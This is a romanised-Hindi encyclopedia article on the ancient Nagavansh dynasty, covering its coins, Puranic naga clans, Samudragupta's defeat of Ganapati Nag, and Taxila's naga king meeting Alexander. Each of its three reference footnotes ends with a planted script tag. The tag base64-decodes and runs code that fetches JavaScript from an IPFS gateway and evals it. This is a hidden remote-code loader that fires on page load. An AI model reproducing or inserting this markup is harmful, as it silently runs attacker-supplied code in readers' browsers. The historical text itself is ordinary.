नागवंश
nagavansh prachin kal ka ek rajakul tha. is vansh ke kuchh sikkoan par brihaspati nag, devanag aur ganapati nag nam likhe prapt hue haian. nagavansh ka shasanakal 150 se 250 vikram sanvat ke madhy jan p data hai.[1]
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pramanikata
prachin kal mean nagavanshiyoan ka rajy bharat ke kee sthanoan mean tatha sianhal mean bhi tha. puranoan mean spasht likha hai ki sat nagavanshi raja mathura bhog kareange, usake pichhe gupt rajaoan ka rajy hoga. nau nag rajaoan ke jo purane sikke mile haian, un par 'brihaspati nag', 'devanag', 'ganapati nag' ityadi nam milate haian. ye nagagan vikram sanvat 150 aur 250 ke bich rajy karate the. in nav nagoan ki rajadhani kahaan thi, isaka thik pata nahian hai, par adhikaansh vidvanoan ka mat yahi hai ki unaki rajadhani 'naravar' thi. mathura aur bharatapur se lekar gvaliyar aur ujjain tak ka bhoo-bhag nagavanshiyoan ke adhikar mean tha.[2]
puran ullekh
prachin kal se hi bharat mean nagoan ki pooja ki paranpara rahi hai. mana jata hai ki 3000 eesa poorv ary kal mean bharat mean nagavanshiyoan ke kabile raha karate the, jo sarp ki pooja karate the. unake devata sarp the. yahi karan tha ki pramukh nag vanshoan ke nam par hi jamin par reangane vale nagoan ke nam p de the. puranoan ke anusar kashmir mean kashyap rrishi ki patni kadroo se unhean ath putr mile the, jinake nam kramash: is prakar the-
kashmir ka anantanag ilaka anantanag samudayoan ka gadh tha. usi tarah kashmir ke bahut sare any ilake bhi kadru ke doosare putroan ke adhin the. kuchh any puranoan ke anusar nagoan ke pramukh paanch kul the- anant, vasuki, takshak, karkotak aur piangala. jabaki kuchh aur puranoan ne nagoan ke ashtakul bataye haian- vasuki, takshak, kulak, karkotak, padm, shankh, choo d, mahapadm aur dhananjay. agnipuran mean 80 prakar ke nag kuloan ka varnan hai, jisamean vasuki, takshak, padm, mahapadm prasiddh haian. nagoan ka prithakh nagalok puranoan mean bataya gaya hai. anadikal se hi nagoan ka astitv devi-devataoan ke sath varnit hai. jain, bauddh devataoan ke sir par bhi shesh chhatr hota hai. asam, nagalaiand, manipur, keral aur aandhr pradesh mean naga jatiyoan ka varchasv raha hai. bharat mean in ath kuloan ka hi kramash: vistar hua, jinake nagavanshi rahe the- nal, kavardha, phani-nag, bhogin, sadachandr, dhanadharma, bhootanandi, shishunandi ya yashanandi tanak, tusht, airavat, dhritarashtr, ahi, manibhadr, alapatr, kambal, aanshatar, dhananjay, kaliya, sauanphoo, dauddhiya, kali, takhatoo, dhoomal, phahal, kana, gulika, sarakota ityadi.[3]
any tathy
- krishna kal mean nag jati braj mean akar bas gee thi. is jati ki apani ek prithakh sanskriti thi. kaliya nag ko sangharsh mean parajit karake shrikrishna ne use braj se nirvasit kar diya tha, kiantu nag jati yahaan pramukh roop se basi rahi. mathura par unhoanne kafi samay tak shasan bhi kiya.
- nagasen adinag naresh braj ke itihas mean ullekhaniy rahe, jinhean gupt vansh ke shasakoan ne parajit kiya tha. nag devataoan ke anek mandir aj bhi braj mean vidyaman haian.
- itihas mean yah bat prasiddh hai ki mahapratapi guptavanshi rajaoan ne shak ya nagavanshiyoan ko parast kiya tha. prayag ke qile ke bhitar jo stanbhalekh hai, usamean spasht likha hai ki maharaj samudragupt ne ganapati nag ko parajit kiya tha. is ganapati nag ke sikke bahut milate haian.
- mahabharat mean bhi kee sthanoan par nagoan ka ullekh hai. paandavoan ne nagoan ke hath se magadh rajy chhina tha. khaandav van jalate samay bhi bahut se nag nasht hue the.
- janamejay ke sarp-yajn ka bhi yahi abhipray maloom hota hai ki puruvanshi ary rajaoan se nagavanshi rajaoan ka virodh tha. is bat ka samarthan sikandar ke samay ke prapt vritt se hota hai. jis samay sikandar bharat mean aya, tab usase sabase pahale takshashila ka nagavanshi raja hi mila tha. us raja ne sikandar ka kee dinoan tak takshashila mean atithy kiya aur apane shatru paurav raja ke viruddh chadhaee karane mean sahayata pahuanchaee. sikandar ke sathiyoan ne takshashila mean raja ke yahaan bhari-bhari saanp pale dekhe the, jinaki nity pooja hoti thi. yah shak ya nag jati himalay ke us par ki thi. ab tak tibbati bhi apani bhasha ko 'nagabhasha' kahate haian.[2]
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tika tippani aur sandarbh
- ↑ bharatiy sanskriti kosh, bhag-2 |prakashak: yoonivarsiti pablikeshan, nee dilli-110002 |sanpadan: profesar devendr mishr |prishth sankhya: 437 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 dekhane ki paribhasha nagavansh (hindi). . abhigaman tithi: 15 faravari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ nagoan ke pramukh kul (hindi). . abhigaman tithi: 13 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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